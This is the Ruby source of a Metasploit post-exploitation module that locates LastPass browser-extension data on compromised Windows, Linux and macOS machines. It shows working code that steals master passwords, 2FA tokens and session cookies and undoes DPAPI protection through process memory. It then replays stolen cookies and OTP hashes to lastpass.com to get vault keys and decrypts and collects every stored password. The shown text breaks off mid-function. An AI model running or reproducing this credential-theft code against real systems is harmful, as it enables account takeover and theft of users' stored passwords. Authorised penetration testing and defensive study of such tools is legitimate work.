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1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'English'
7
require 'sqlite3'
8
require 'uri'
9

10
class MetasploitModule < Msf::Post
11
  include Msf::Post::File
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  include Msf::Post::Windows::UserProfiles
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  include Msf::Post::OSX::System
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  include Msf::Post::Unix
15

16
  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'LastPass Vault Decryptor',
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        'Description' => %q{
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          This module extracts and decrypts LastPass master login accounts and passwords,
23
          encryption keys, 2FA tokens and all the vault passwords
24
        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Alberto Garcia Illera <agarciaillera[at]gmail.com>', # original module and research
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          'Martin Vigo <martinvigo[at]gmail.com>', # original module and research
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          'Jon Hart <jon_hart[at]rapid7.com>' # module rework and cleanup
30
        ],
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        'Platform' => %w[linux osx unix win],
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        'References' => [
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          [ 'URL', 'http://www.martinvigo.com/even-the-lastpass-will-be-stolen-deal-with-it' ]
34
        ],
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        'SessionTypes' => %w[meterpreter shell],
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        'Compat' => {
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          'Meterpreter' => {
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            'Commands' => %w[
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              stdapi_railgun_api
40
              stdapi_registry_open_key
41
              stdapi_sys_process_attach
42
              stdapi_sys_process_get_processes
43
              stdapi_sys_process_getpid
44
              stdapi_sys_process_memory_allocate
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              stdapi_sys_process_memory_read
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              stdapi_sys_process_memory_write
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            ]
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          }
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        }
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      )
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    )
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  end
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  def run
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    if session.platform == 'windows' && session.type == 'shell' # No Windows shell support
56
      print_error 'Shell sessions on Windows are not supported'
57
      return
58
    end
59

60
    print_status 'Searching for LastPass databases'
61

62
    account_map = build_account_map
63
    if account_map.empty?
64
      print_status 'No databases found'
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      return
66
    end
67

68
    print_status 'Extracting credentials'
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    extract_credentials(account_map)
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    print_status 'Extracting 2FA tokens'
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    extract_2fa_tokens(account_map)
73

74
    print_status 'Extracting vault and iterations'
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    extract_vault_and_iterations(account_map)
76

77
    print_status 'Extracting encryption keys'
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    extract_vault_keys(account_map)
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80
    print_lastpass_data(account_map)
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  end
82

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  # Returns a mapping of lastpass accounts
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  def build_account_map
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    profiles = user_profiles
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    account_map = {}
87

88
    profiles.each do |user_profile|
89
      account = user_profile['UserName']
90
      browser_path_map = {}
91
      localstorage_path_map = {}
92
      cookies_path_map = {}
93

94
      case session.platform
95
      when 'windows'
96
        browser_path_map = {
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          'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
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          'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles",
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          'IE' => "#{user_profile['LocalAppData']}Low\\LastPass",
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          'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0"
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        }
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        localstorage_path_map = {
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          'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
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          'Firefox' => "#{user_profile['LocalAppData']}Low\\LastPass",
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          'IE' => "#{user_profile['LocalAppData']}Low\\LastPass",
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          'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
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        }
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        cookies_path_map = {
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          'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Cookies",
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          'Firefox' => '', # It's set programmatically
111
          'IE' => "#{user_profile['LocalAppData']}\\Microsoft\\Windows\\INetCookies\\Low",
112
          'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Cookies"
113
        }
114
      when 'unix', 'linux'
115
        browser_path_map = {
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          'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
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          'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox",
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          'Opera' => "#{user_profile['LocalAppData']}/.config/opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0"
119
        }
120
        localstorage_path_map = {
121
          'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
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          'Firefox' => "#{user_profile['LocalAppData']}/.lastpass",
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          'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
124
        }
125
        cookies_path_map = { # TODO
126
          'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Cookies",
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          'Firefox' => '', # It's set programmatically
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          'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Cookies"
129
        }
130
      when 'osx'
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        browser_path_map = {
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          'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
133
          'Firefox' => "#{user_profile['LocalAppData']}/Firefox/Profiles",
134
          'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0",
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          'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
136
        }
137
        localstorage_path_map = {
138
          'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
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          'Firefox' => "#{user_profile['AppData']}/Containers/com.lastpass.LastPass/Data/Library/Application Support/LastPass",
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          'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage",
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          'Safari' => "#{user_profile['AppData']}/Safari/LocalStorage/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage"
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        }
143
        cookies_path_map = { # TODO
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          'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Cookies",
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          'Firefox' => '', # It's set programmatically
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          'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Cookies",
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          'Safari' => "#{user_profile['AppData']}/Cookies/Cookies.binarycookies"
148
        }
149
      else
150
        print_error "Platform not recognized: #{session.platform}"
151
      end
152

153
      account_map[account] = {}
154
      browser_path_map.each_pair do |browser, path|
155
        account_map[account][browser] = {}
156
        db_paths = find_db_paths(path, browser, account)
157
        if db_paths && !db_paths.empty?
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          account_map[account][browser]['lp_db_path'] = db_paths.first
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          account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if file?(localstorage_path_map[browser]) || browser.match(/Firefox|IE/)
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          account_map[account][browser]['cookies_db'] = cookies_path_map[browser] if file?(cookies_path_map[browser]) || browser.match(/Firefox|IE/)
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          account_map[account][browser]['cookies_db'] = account_map[account][browser]['lp_db_path'].first.gsub('prefs.js', 'cookies.sqlite') if (!account_map[account][browser]['lp_db_path'].blank? && browser == 'Firefox')
162
        else
163
          account_map[account].delete(browser)
164
        end
165
      end
166
    end
167

168
    account_map
169
  end
170

171
  # Returns a list of DB paths found in the victims' machine
172
  def find_db_paths(path, browser, account)
173
    paths = []
174

175
    vprint_status "Checking #{account}'s #{browser}"
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    if browser == 'IE' # Special case for IE
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      data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', 'LoginUsers')
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      data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', 'LoginUsers') if data.blank?
179
      paths |= ['HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass'] if !data.blank? && path != 'Low\\LastPass' # Hacky way to detect if there is access to user's data (attacker has no root access)
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    elsif browser == 'Firefox' # Special case for Firefox
181
      paths |= firefox_profile_files(path)
182
    else
183
      paths |= file_paths(path)
184
    end
185

186
    vprint_good "Found #{paths.size} #{browser} databases for #{account}"
187
    paths
188
  end
189

190
  # Returns the relevant information from user profiles
191
  def user_profiles
192
    user_profiles = []
193
    case session.platform
194
    when /unix|linux/
195
      user_names = dir('/home')
196
      user_names.reject! { |u| %w[. ..].include?(u) }
197
      user_names.each do |user_name|
198
        user_profiles.push('UserName' => user_name, 'LocalAppData' => "/home/#{user_name}")
199
      end
200
    when /osx/
201
      user_names = session.shell_command('ls /Users').split
202
      user_names.reject! { |u| u == 'Shared' }
203
      user_names.each do |user_name|
204
        user_profiles.push(
205
          'UserName' => user_name,
206
          'AppData' => "/Users/#{user_name}/Library",
207
          'LocalAppData' => "/Users/#{user_name}/Library/Application Support"
208
        )
209
      end
210
    when /windows/
211
      user_profiles |= grab_user_profiles
212
    else
213
      print_error "OS not recognized: #{session.platform}"
214
    end
215
    user_profiles
216
  end
217

218
  # Extracts the databases paths from the given folder ignoring . and ..
219
  def file_paths(path)
220
    found_dbs_paths = []
221

222
    files = []
223
    files = dir(path) if directory?(path)
224
    files.each do |file_path|
225
      unless %w[. .. Shared].include?(file_path)
226
        found_dbs_paths.push([path, file_path].join(system_separator))
227
      end
228
    end
229

230
    found_dbs_paths
231
  end
232

233
  # Returns the profile files for Firefox
234
  def firefox_profile_files(path)
235
    found_dbs_paths = []
236

237
    if directory?(path)
238
      files = dir(path)
239
      files.reject! { |file| %w[. ..].include?(file) }
240
      files.each do |file_path|
241
        found_dbs_paths.push([path, file_path, 'prefs.js'].join(system_separator)) if file_path.match(/.*\.default/)
242
      end
243
    end
244

245
    [found_dbs_paths]
246
  end
247

248
  # Parses the Firefox preferences file and returns encoded credentials
249
  def ie_firefox_credentials(prefs_path, localstorage_db_path)
250
    credentials = []
251
    data = nil
252

253
    if prefs_path.nil? # IE
254
      data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', 'LoginUsers')
255
      data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', 'LoginUsers') if data.blank?
256
      return [] if data.blank?
257

258
      usernames = data.split('|')
259
      usernames.each do |username|
260
        credentials << [username, nil]
261
      end
262

263
      # Extract master passwords
264
      data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', 'LoginPws')
265
      data = Rex::Text.encode_base64(data) unless data.blank?
266
    else # Firefox
267
      loot_path = loot_file(prefs_path, nil, 'firefox.preferences', 'text/javascript', 'Firefox preferences file')
268
      return [] unless loot_path
269

270
      File.readlines(loot_path).each do |line|
271
        next unless /user_pref\("extensions.lastpass.loginusers", "(?<encoded_users>.*)"\);/ =~ line
272

273
        usernames = encoded_users.split('|')
274
        usernames.each do |username|
275
          credentials << [username, nil]
276
        end
277
        break
278
      end
279

280
      # Extract master passwords
281
      path = localstorage_db_path + system_separator + 'lp.loginpws'
282
      data = read_remote_file(path) if file?(path) # Read file if it exists
283
    end
284

285
    # Get encrypted master passwords
286
    data = windows_unprotect(data) if !data.nil? && data.match(/^AQAAA.+/) # Verify Windows protection
287
    return credentials if data.blank? # No passwords stored
288

289
    creds_per_user = data.split('|')
290
    creds_per_user.each_with_index do |user_creds, _index|
291
      parts = user_creds.split('=')
292
      for creds in credentials
293
        creds[1] = parts[1] if creds[0] == parts[0] # Add the password to the existing username
294
      end
295
    end
296
    credentials
297
  end
298

299
  def decrypt_data(key, encrypted_data)
300
    return nil if encrypted_data.blank?
301

302
    if encrypted_data.include?('|') # Use CBC
303
      decipher = OpenSSL::Cipher.new('AES-256-CBC').decrypt
304
      decipher.iv = Rex::Text.decode_base64(encrypted_data[1, 24]) # Discard ! and |
305
      encrypted_data = encrypted_data[26..] # Take only the data part
306
    else # Use ECB
307
      decipher = OpenSSL::Cipher.new('AES-256-ECB').decrypt
308
    end
309

310
    begin
311
      decipher.key = key
312
      decrypted_data = decipher.update(Rex::Text.decode_base64(encrypted_data)) + decipher.final
313
    rescue OpenSSL::Cipher::CipherError => e
314
      vprint_error "Data could not be decrypted. #{e.message}"
315
    end
316

317
    decrypted_data
318
  end
319

320
  def extract_credentials(account_map)
321
    account_map.each_pair do |account, browser_map|
322
      browser_map.each_pair do |browser, lp_data|
323
        account_map[account][browser]['lp_creds'] = {}
324
        if browser.match(/Firefox|IE/)
325
          if browser == 'Firefox'
326
            ieffcreds = ie_firefox_credentials(lp_data['lp_db_path'].first, lp_data['localstorage_db'])
327
          else # IE
328
            ieffcreds = ie_firefox_credentials(nil, lp_data['localstorage_db'])
329
          end
330
          unless ieffcreds.blank?
331
            ieffcreds.each do |creds|
332
              if creds[1].blank? # No master password found
333
                account_map[account][browser]['lp_creds'][URI.decode_uri_component(creds[0])] = { 'lp_password' => nil }
334
              else
335
                sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(URI.decode_uri_component(creds[0]))
336
                sha256_binary_email = [sha256_hex_email].pack 'H*' # Do hex2bin
337
                creds[1] = decrypt_data(sha256_binary_email, URI.decode_uri_component(creds[1]))
338
                account_map[account][browser]['lp_creds'][URI.decode_uri_component(creds[0])] = { 'lp_password' => creds[1] }
339
              end
340
            end
341
          end
342
        else # Chrome, Safari and Opera
343
          loot_path = loot_file(lp_data['lp_db_path'], nil, "#{browser.downcase}.lastpass.database", 'application/x-sqlite3', "#{account}'s #{browser} LastPass database #{lp_data['lp_db_path']}")
344
          account_map[account][browser]['lp_db_loot'] = loot_path
345
          next if loot_path.blank?
346

347
          # Parsing/Querying the DB
348
          db = SQLite3::Database.new(loot_path)
349
          result = db.execute(
350
            'SELECT username, password FROM LastPassSavedLogins2 ' \
351
            "WHERE username IS NOT NULL AND username != '' " \
352
          )
353

354
          for row in result
355
            next unless row[0]
356

357
            sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(row[0])
358
            sha256_binary_email = [sha256_hex_email].pack 'H*' # Do hex2bin
359
            row[1].blank? ? row[1] = nil : row[1] = decrypt_data(sha256_binary_email, row[1]) # Decrypt master password
360
            account_map[account][browser]['lp_creds'][row[0]] = { 'lp_password' => row[1] }
361
          end
362
        end
363
      end
364
    end
365
  end
366

367
  # Extracts the 2FA token from localStorage
368
  def extract_2fa_tokens(account_map)
369
    account_map.each_pair do |account, browser_map|
370
      browser_map.each_pair do |browser, lp_data|
371
        if browser.match(/Firefox|IE/)
372
          path = lp_data['localstorage_db'] + system_separator + 'lp.suid'
373
          data = read_remote_file(path) if file?(path) # Read file if it exists
374
          data = windows_unprotect(data) if !data.nil? && data.size > 32 # Verify Windows protection
375
          loot_path = loot_file(nil, data, "#{browser.downcase}.lastpass.localstorage", 'application/x-sqlite3', "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")
376
          account_map[account][browser]['lp_2fa'] = data
377
        else # Chrome, Safari and Opera
378
          loot_path = loot_file(lp_data['localstorage_db'], nil, "#{browser.downcase}.lastpass.localstorage", 'application/x-sqlite3', "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")
379
          unless loot_path.blank?
380
            db = SQLite3::Database.new(loot_path)
381
            token = db.execute(
382
              'SELECT hex(value) FROM ItemTable ' \
383
              "WHERE key = 'lp.uid';"
384
            ).flatten
385
          end
386
          token.blank? ? account_map[account][browser]['lp_2fa'] = nil : account_map[account][browser]['lp_2fa'] = token.pack('H*')
387
        end
388
      end
389
    end
390
  end
391

392
  # Print all extracted LastPass data
393
  def print_lastpass_data(account_map)
394
    lastpass_data_table = Rex::Text::Table.new(
395
      'Header' => 'LastPass Accounts',
396
      'Indent' => 1,
397
      'Columns' => %w[Account LP_Username LP_Password LP_2FA LP_Key]
398
    )
399

400
    account_map.each_pair do |account, browser_map|
401
      browser_map.each_pair do |_browser, lp_data|
402
        lp_data['lp_creds'].each_pair do |username, user_data|
403
          lastpass_data_table << [account, username, user_data['lp_password'], lp_data['lp_2fa'], user_data['vault_key']]
404
        end
405
      end
406
    end
407

408
    unless account_map.empty?
409
      print_good lastpass_data_table.to_s
410
      loot_file(nil, lastpass_data_table.to_csv, 'lastpass.data', 'text/csv', 'LastPass Data')
411
      print_vault_passwords(account_map)
412
    end
413
  end
414

415
  def extract_vault_and_iterations(account_map)
416
    account_map.each_pair do |account, browser_map|
417
      browser_map.each_pair do |browser, lp_data|
418
        lp_data['lp_creds'].each_pair do |username, _user_data|
419
          if browser.match(/Firefox|IE/)
420
            if browser == 'Firefox'
421
              iterations_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_key.itr'
422
              vault_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_lps.act.sxml'
423
            else # IE
424
              iterations_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_key_ie.itr'
425
              vault_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_lps.sxml'
426
            end
427
            iterations = read_remote_file(iterations_path) if file?(iterations_path) # Read file if it exists
428
            iterations = nil if iterations.blank? # Verify content
429
            lp_data['lp_creds'][username]['iterations'] = iterations
430

431
            # Find encrypted vault
432
            vault = read_remote_file(vault_path)
433
            vault = windows_unprotect(vault) if !vault.nil? && vault.match(/^AQAAA.+/) # Verify Windows protection
434
            vault = vault.sub(/iterations=.*;/, '') if file?(vault_path) # Remove iterations info
435
            loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", 'text/plain', "#{account}'s #{browser} LastPass vault")
436
            lp_data['lp_creds'][username]['vault_loot'] = loot_path
437

438
          else # Chrome, Safari and Opera
439
            db = SQLite3::Database.new(lp_data['lp_db_loot'])
440
            result = db.execute(
441
              'SELECT data FROM LastPassData ' \
442
              "WHERE username_hash = ? AND type = 'accts'", OpenSSL::Digest::SHA256.hexdigest(username)
443
            )
444

445
            if result.size == 1 && !result[0].blank?
446
              if /iterations=(?<iterations>.*);(?<vault>.*)/ =~ result[0][0]
447
                lp_data['lp_creds'][username]['iterations'] = iterations
448
              else
449
                lp_data['lp_creds'][username]['iterations'] = 1
450
              end
451
              loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", 'text/plain', "#{account}'s #{browser} LastPass vault")
452
              lp_data['lp_creds'][username]['vault_loot'] = loot_path
453
            else
454
              lp_data['lp_creds'][username]['iterations'] = nil
455
              lp_data['lp_creds'][username]['vault_loot'] = nil
456
            end
457
          end
458
        end
459
      end
460
    end
461
  end
462

463
  def extract_vault_keys(account_map)
464
    account_map.each_pair do |account, browser_map|
465
      browser_map.each_pair do |browser, lp_data|
466
        browser_checked = false # Track if local stored vault key was already decrypted for this browser (only one session cookie)
467
        lp_data['lp_creds'].each_pair do |username, user_data|
468
          if !user_data['lp_password'].blank? && !user_data['iterations'].nil? # Derive vault key from credentials
469
            lp_data['lp_creds'][username]['vault_key'] = derive_vault_key_from_creds(username, lp_data['lp_creds'][username]['lp_password'], user_data['iterations'])
470
          else # Get vault key decrypting the locally stored one or from the disabled OTP
471
            unless browser_checked
472
              decrypt_local_vault_key(account, browser_map)
473
              browser_checked = true
474
            end
475
            if lp_data['lp_creds'][username]['vault_key'].nil? # If no vault key was found yet, try with dOTP
476
              otpbin = extract_otpbin(browser, username, lp_data)
477
              otpbin.blank? ? next : otpbin = otpbin[0..31]
478

479
              lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otpbin)
480
            end
481
          end
482
        end
483
      end
484
    end
485
  end
486

487
  # Decrypt the locally stored vault key
488
  def decrypt_local_vault_key(account, browser_map)
489
    data = nil
490
    session_cookie_value = nil
491

492
    browser_map.each_pair do |browser, lp_data|
493
      if browser == 'IE' && directory?(lp_data['cookies_db'])
494
        cookies_files = dir(lp_data['cookies_db'])
495
        cookies_files.reject! { |u| %w[. ..].include?(u) }
496
        cookies_files.each do |cookie_jar_file|
497
          data = read_remote_file(lp_data['cookies_db'] + system_separator + cookie_jar_file)
498
          next if data.blank?
499

500
          next unless /.*PHPSESSID.(?<session_cookie_value_match>.*?).lastpass\.com?/m =~ data # Find the session id
501

502
          loot_file(lp_data['cookies_db'] + system_separator + cookie_jar_file, nil, "#{browser.downcase}.lastpass.cookies", 'text/plain', "#{account}'s #{browser} cookies DB")
503
          session_cookie_value = session_cookie_value_match
504
          break
505
        end
506
      else
507
        case browser
508
        when /Chrome/
509
          query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'"
510
        when 'Opera'
511
          query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'"
512
        when 'Firefox'
513
          query = "SELECT value FROM moz_cookies WHERE host = 'lastpass.com' AND name = 'PHPSESSID'"
514
        else
515
          vprint_error "Browser #{browser} not supported for cookies"
516
          next
517
        end
518
        # Parsing/Querying the DB
519
        loot_path = loot_file(lp_data['cookies_db'], nil, "#{browser.downcase}.lastpass.cookies", 'application/x-sqlite3', "#{account}'s #{browser} cookies DB")
520
        next if loot_path.blank?
521

522
        db = SQLite3::Database.new(loot_path)
523
        begin
524
          result = db.execute(query)
525
        rescue SQLite3::SQLException => e
526
          vprint_error "No session cookie was found in #{account}'s #{browser} (#{e.message})"
527
          next
528
        end
529
        next if result.blank? # No session cookie found for this browser
530

531
        session_cookie_value = result[0][0]
532
      end
533
      return if session_cookie_value.blank?
534

535
      # Check if cookie value needs to be decrypted
536
      if Rex::Text.encode_base64(session_cookie_value).match(/^AQAAA.+/) # Windows Data protection API
537
        session_cookie_value = windows_unprotect(Rex::Text.encode_base64(session_cookie_value))
538
      elsif session_cookie_value.match(/^v10/) && browser.match(/Chrome|Opera/) # Chrome/Opera encrypted cookie in Linux
539
        begin
540
          decipher = OpenSSL::Cipher.new('AES-256-CBC')
541
          decipher.decrypt
542
          decipher.key = OpenSSL::Digest.hexdigest('SHA256', 'peanuts')
543
          decipher.iv = ' ' * 16
544
          session_cookie_value = session_cookie_value[3..] # Discard v10
545
          session_cookie_value = decipher.update(session_cookie_value) + decipher.final
546
        rescue OpenSSL::Cipher::CipherError => e
547
          print_error "Cookie could not be decrypted. #{e.message}"
548
        end
549
      end
550

551
      # Use the cookie to obtain the encryption key to decrypt the vault key
552
      uri = URI('https://lastpass.com/login_check.php')
553
      request = Net::HTTP::Post.new(uri)
554
      request.set_form_data('wxsessid' => URI.decode_uri_component(session_cookie_value), 'uuid' => browser_map['lp_2fa'])
555
      request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8'
556
      response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) { |http| http.request(request) }
557

558
      # Parse response
559
      next unless response.body.match(/pwdeckey="([a-z0-9]+)"/) # Session must have expired
560

561
      decryption_key = OpenSSL::Digest::SHA256.hexdigest(response.body.match(/pwdeckey="([a-z0-9]+)"/)[1])
562
      username = response.body.match(/lpusername="([A-Za-z0-9._%+-@]+)"/)[1]
563

564
      # Get the local encrypted vault key
565
      encrypted_vault_key = extract_local_encrypted_vault_key(browser, username, lp_data)
566

567
      # Decrypt the local stored key
568
      lp_data['lp_creds'][username]['vault_key'] = decrypt_data([decryption_key].pack('H*'), encrypted_vault_key)
569
    end
570
  end
571

572
  # Returns otp, encrypted_key
573
  def extract_otpbin(browser, username, lp_data)
574
    if browser.match(/Firefox|IE/)
575
      if browser == 'Firefox'
576
        path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_ff.sotp'
577
      else # IE
578
        path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '.sotp'
579
      end
580
      otpbin = read_remote_file(path) if file?(path) # Read file if it exists
581
      otpbin = windows_unprotect(otpbin) if !otpbin.nil? && otpbin.match(/^AQAAA.+/)
582
      return otpbin
583
    else # Chrome, Safari and Opera
584
      db = SQLite3::Database.new(lp_data['lp_db_loot'])
585
      result = db.execute(
586
        'SELECT type, data FROM LastPassData ' \
587
        "WHERE username_hash = ? AND type = 'otp'", OpenSSL::Digest::SHA256.hexdigest(username)
588
      )
589
      return (result.blank? || result[0][1].blank?) ? nil : [result[0][1]].pack('H*')
590
    end
591
  end
592

593
  def derive_vault_key_from_creds(username, password, key_iteration_count)
594
    if key_iteration_count == 1
595
      key = Digest::SHA256.hexdigest username + password
596
    else
597
      key = pbkdf2(password, username, key_iteration_count.to_i, 32).first
598
    end
599
    key
600
  end
601

602
  def decrypt_vault_key_with_otp(username, otpbin)
603
    vault_key_decryption_key = [lastpass_sha256(username + otpbin)].pack 'H*'
604
    encrypted_vault_key = retrieve_encrypted_vault_key_with_otp(username, otpbin)
605
    decrypt_data(vault_key_decryption_key, encrypted_vault_key)
606
  end
607

608
  def retrieve_encrypted_vault_key_with_otp(username, otpbin)
609
    # Derive login hash from otp
610
    otp_token = lastpass_sha256(lastpass_sha256(username + otpbin) + otpbin) # OTP login hash
611

612
    # Make request to LastPass
613
    uri = URI('https://lastpass.com/otp.php')
614
    request = Net::HTTP::Post.new(uri)
615
    request.set_form_data('login' => 1, 'xml' => 1, 'hash' => otp_token, 'otpemail' => URI::DEFAULT_PARSER.escape(username), 'outofbandsupported' => 1, 'changepw' => otp_token)
616
    request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8'
617
    response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) { |http| http.request(request) }
618

619
    # Parse response
620
    encrypted_vault_key = nil
621
    if response.body.match(/randkey="(.*)"/)
622
      encrypted_vault_key = response.body.match(/randkey="(.*)"/)[1]
623
    end
624
    encrypted_vault_key
625
  end
626

627
  # LastPass does some preprocessing (UTF8) when doing a SHA256 on special chars (binary)
628
  def lastpass_sha256(input)
629
    output = ''
630

631
    input = input.gsub("\r\n", "\n")
632

633
    input.each_byte do |e|
634
      if e < 128
635
        output += e.chr
636
      elsif (e > 127 && e < 2048)
637
        output += (e >> 6 | 192).chr
638
        output += (e & 63 | 128).chr
639
      else
640
        output += (e >> 12 | 224).chr
641
        output += (e >> 6 & 63 | 128).chr
642
      end
643
    end
644

645
    OpenSSL::Digest::SHA256.hexdigest(output)
646
  end
647

648
  def pbkdf2(password, salt, iterations, key_length)
649
    digest = OpenSSL::Digest.new('SHA256')
650
    OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, key_length, digest).unpack 'H*'
651
  end
652

653
  def windows_unprotect(data)
654
    data = Rex::Text.decode_base64(data)
655
    pid = session.sys.process.getpid
656
    process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
657
    mem = process.memory.allocate(data.length + 200)
658
    process.memory.write(mem, data)
659

660
    if session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86'
661
      addr = [mem].pack('V')
662
      len = [data.length].pack('V')
663
      ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
664
      len, addr = ret['pDataOut'].unpack('V2')
665
    else
666
      addr = Rex::Text.pack_int64le(mem)
667
      len = Rex::Text.pack_int64le(data.length)
668
      ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
669
      pData = ret['pDataOut'].unpack('VVVV')
670
      len = pData[0] + (pData[1] << 32)
671
      addr = pData[2] + (pData[3] << 32)
672
    end
673

674
    return '' if len == 0
675

676
    process.memory.read(addr, len)
677
  end
678

679
  def print_vault_passwords(account_map)
680
    account_map.each_pair do |_account, browser_map|
681
      browser_map.each_pair do |browser, lp_data|
682
        lp_data['lp_creds'].each_pair do |username, user_data|
683
          lastpass_vault_data_table = Rex::Text::Table.new(
684
            'Header' => "Decrypted vault from #{username}",
685
            'Indent' => 1,
686
            'Columns' => %w[URL Username Password]
687
          )
688
          if user_data['vault_loot'].nil? # Was a vault found?
689
            print_error "No vault was found for #{username}"
690
            next
691
          end
692
          encoded_vault = File.read(user_data['vault_loot'])
693
          if encoded_vault[0] == '!' # Vault is double encrypted
694
            encoded_vault = decrypt_data([user_data['vault_key']].pack('H*'), encoded_vault)
695
            if encoded_vault.blank?
696
              print_error "Vault from #{username} could not be decrypted"
697
              next
698
            else
699
              encoded_vault = encoded_vault.sub('LPB64', '')
700
            end
701
          end
702

703
          # Parse vault
704
          vault = Rex::Text.decode_base64(encoded_vault)
705
          vault.scan(/ACCT/) do |_result|
706
            chunk_length = vault[$LAST_MATCH_INFO.offset(0)[1]..$LAST_MATCH_INFO.offset(0)[1] + 3].unpack('H*').first.to_i(16) # Get the length in base 10 of the ACCT chunk
707
            chunk = vault[$LAST_MATCH_INFO.offset(0)[0]..$LAST_MATCH_INFO.offset(0)[1] + chunk_length] # Get ACCT chunk
708
            account_data = parse_vault_account(chunk, user_data['vault_key'])
709
            lastpass_vault_data_table << account_data if !account_data.nil?
710
          end
711

712
          next if account_map.empty? # Loot passwords
713

714
          if lastpass_vault_data_table.rows.empty?
715
            print_status('No decrypted vaults.')
716
          else
717
            print_good lastpass_vault_data_table.to_s
718
          end
719
          loot_file(nil, lastpass_vault_data_table.to_csv, "#{browser.downcase}.lastpass.passwords", 'text/csv', "LastPass Vault Passwords from #{username}")
720
        end
721
      end
722
    end
723
  end
724

725
  def parse_vault_account(chunk, vault_key)
726
    pointer = 22 # Starting position to find data to decrypt
727
    labels = ['name', 'folder', 'url', 'notes', 'undefined', 'undefined2', 'username', 'password']
728
    vault_data = []
729
    for label in labels
730
      if chunk[pointer..pointer + 3].nil?
731
        # Out of bound read
732
        return nil
733
      end
734

735
      length = chunk[pointer..pointer + 3].unpack('H*').first.to_i(16)
736
      encrypted_data = chunk[pointer + 4..pointer + 4 + length - 1]
737
      label != 'url' ? decrypted_data = decrypt_vault_password(vault_key, encrypted_data) : decrypted_data = [encrypted_data].pack('H*')
738
      decrypted_data = '' if decrypted_data.nil?
739
      vault_data << decrypted_data if (label == 'url' || label == 'username' || label == 'password')
740
      pointer = pointer + 4 + length
741
    end
742

743
